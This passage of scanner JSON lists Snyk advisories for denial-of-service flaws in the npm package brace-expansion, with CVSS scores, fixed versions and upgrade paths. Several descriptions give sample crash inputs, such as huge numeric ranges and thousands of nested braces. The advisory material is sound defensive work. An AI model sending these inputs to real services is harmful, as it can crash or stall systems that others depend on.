"assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, 